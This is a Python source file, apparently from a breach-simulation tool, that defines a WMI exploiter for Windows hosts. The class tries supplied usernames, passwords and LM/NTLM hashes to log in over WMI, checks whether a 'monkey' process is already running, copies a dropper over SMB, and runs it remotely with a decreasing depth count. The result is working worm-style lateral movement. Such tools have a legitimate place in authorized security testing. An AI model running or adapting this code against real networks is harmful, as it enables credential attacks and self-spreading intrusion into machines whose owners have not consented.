import logging
import ntpath
import socket
import traceback

from impacket.dcerpc.v5.rpcrt import DCERPCException

from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, get_monkey_depth
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from tools import build_monkey_commandline

LOG = logging.getLogger(__name__)


class WmiExploiter(HostExploiter):
    _TARGET_OS_TYPE = ['windows']

    def __init__(self, host):
        super(WmiExploiter, self).__init__(host)
        self._config = __import__('config').WormConfiguration
        self._guid = __import__('config').GUID

    @WmiTools.dcom_wrap
    def exploit_host(self):
        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", self.host)
            return False

        creds = self._config.get_exploit_user_password_or_hash_product()

        for user, password, lm_hash, ntlm_hash in creds:
            LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
                      self.host, user, password, lm_hash, ntlm_hash)

            wmi_connection = WmiTools.WmiConnection()

            try:
                wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash)
            except AccessDeniedException:
                self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
                LOG.debug("Failed connecting to %r using WMI with "
                          "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
                          self.host, user, password, lm_hash, ntlm_hash)
                continue
            except DCERPCException:
                self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
                LOG.debug("Failed connecting to %r using WMI with "
                          "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
                          self.host, user, password, lm_hash, ntlm_hash)
                continue
            except socket.error:
                LOG.debug("Network error in WMI connection to %r with "
                          "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
                          self.host, user, password, lm_hash, ntlm_hash)
                return False
            except Exception as exc:
                LOG.debug("Unknown WMI connection error to %r with "
                          "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
                          self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
                return False

            self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)

            # query process list and check if monkey already running on victim
            process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
                                                fields=("Caption",),
                                                where="Name='%s'" % ntpath.split(src_path)[-1])
            if process_list:
                wmi_connection.close()

                LOG.debug("Skipping %r - already infected", self.host)
                return False

            # copy the file remotely using SMB
            remote_full_path = SmbTools.copy_file(self.host,
                                                  src_path,
                                                  self._config.dropper_target_path,
                                                  user,
                                                  password,
                                                  lm_hash,
                                                  ntlm_hash,
                                                  self._config.smb_download_timeout)

            if not remote_full_path:
                wmi_connection.close()
                return False
            # execute the remote dropper in case the path isn't final
            elif remote_full_path.lower() != self._config.dropper_target_path.lower():
                cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
                          build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
            else:
                cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
                          build_monkey_commandline(self.host, get_monkey_depth() - 1)

            # execute the remote monkey
            result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
                                                                                 ntpath.split(remote_full_path)[0],
                                                                                 None)

            if (0 != result.ProcessId) and (0 == result.ReturnValue):
                LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
                         remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
                success = True
            else:
                LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
                          remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
                success = False

            result.RemRelease()
            wmi_connection.close()

            return success

        return False